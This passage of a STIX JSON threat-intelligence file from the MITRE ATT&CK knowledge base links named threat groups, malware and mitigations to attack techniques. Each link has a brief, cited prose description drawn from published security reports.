            "description": "(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.562Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e9560ef6-7ed4-45bd-be7c-525f6708308e",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has disabled host-based firewalls. The group has also globally opened port 3389.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:23:24.364Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is known to use RAR with passwords to encrypt data prior to exfiltration.(Citation: Villeneuve et al 2014)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:22:30.167Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--ab524992-5666-466b-8c12-ec79b269901b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "type": "relationship",
            "modified": "2020-03-30T19:16:29.726Z",
            "created": "2017-05-31T21:33:27.019Z"
        },
        {
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims\u2019 machines.(Citation: McAfee Bankshot)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.831Z",
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        },
        {
            "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03",
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            "description": "Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.(Citation: Kaspersky Sofacy)(Citation: Bitdefender APT28 Dec 2015)",
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                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.375Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).(Citation: US-CERT TA18-074A)",
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.340Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
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                {
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "source_name": "Kaspersky Sofacy"
                }
            ],
            "description": "(Citation: Kaspersky Sofacy)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.713Z",
            "created": "2017-05-31T21:33:27.041Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.850Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--283e242a-72d4-4b40-8905-888595c34919",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) typically loads its DLL file into a legitimate signed Java or VMware executable.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.212Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "id": "relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.156Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "(Citation: Cylance Cleaver)",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.257Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses ZPP, a .NET console program, to compress files with ZIP.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:00:38.186Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--28b27852-4125-4639-a07b-0b97dfdb650a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) has been known to use credential dumping using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:03:51.335Z",
            "created": "2017-05-31T21:33:27.035Z"
        },
        {
            "id": "relationship--2db02b07-4dd3-4810-9103-1f8d7bd46a60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used [Template Injection](https://attack.mitre.org/techniques/T1221) to launch an authentication window for users to enter their credentials.(Citation: Unit 42 Phishery Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/",
                    "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.",
                    "source_name": "Unit 42 Phishery Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.445Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1ba80112-ffca-4c7e-ae63-fcbe3b9e689d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used macros in Word documents that would download a second stage if executed.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.726Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. [Patchwork](https://attack.mitre.org/groups/G0040) also enumerated all available drives on the victim's machine.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "source_name": "Cymmetria Patchwork"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-06-29T15:13:05.439Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
        {
            "id": "relationship--b427e519-8ec0-4ae3-9dda-273cc71f00eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) uses a backdoor known as BADFLICK that is is capable of generating a reverse shell, and has used multiple types of scripting for execution, including JavaScript and JavaScript Scriptlets in XML.(Citation: Proofpoint Leviathan Oct 2017).(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:33:32.349Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used custom DNS Tunneling protocols for C2.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-09-04T22:55:40.675Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "type": "relationship",
            "modified": "2020-03-09T13:00:19.403Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.511Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--37ba7858-8765-4445-a65e-d2765b673b34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has created a scheduled task named \u201cAdobeFlashSync\u201d to establish persistence.(Citation: Morphisec FIN7 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry",
                    "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.",
                    "source_name": "Morphisec FIN7 June 2017"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T00:08:24.654Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) created a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 May 2017)(Citation: Cybereason Cobalt Kitty 2017) ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.233Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The \"ZR\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) will check to see if known host-based firewalls are installed on the infected systems. [BACKSPACE](https://attack.mitre.org/software/S0031) will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:31:56.732Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d0b3dc96-7adb-4d38-b3cf-b448535ffa60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to delete files.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T15:31:23.859Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7909f5a6-3924-4259-aedd-2e48123f563a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.439Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)(Citation: Anomali Static Kitten February 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "Anomali Static Kitten February 2021",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2021-03-17T20:37:58.362Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2021-04-22T20:22:02.706Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--49faeaac-7118-4705-8c29-9ce2a88ae958",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
            "type": "relationship",
            "modified": "2020-03-29T20:00:46.982Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
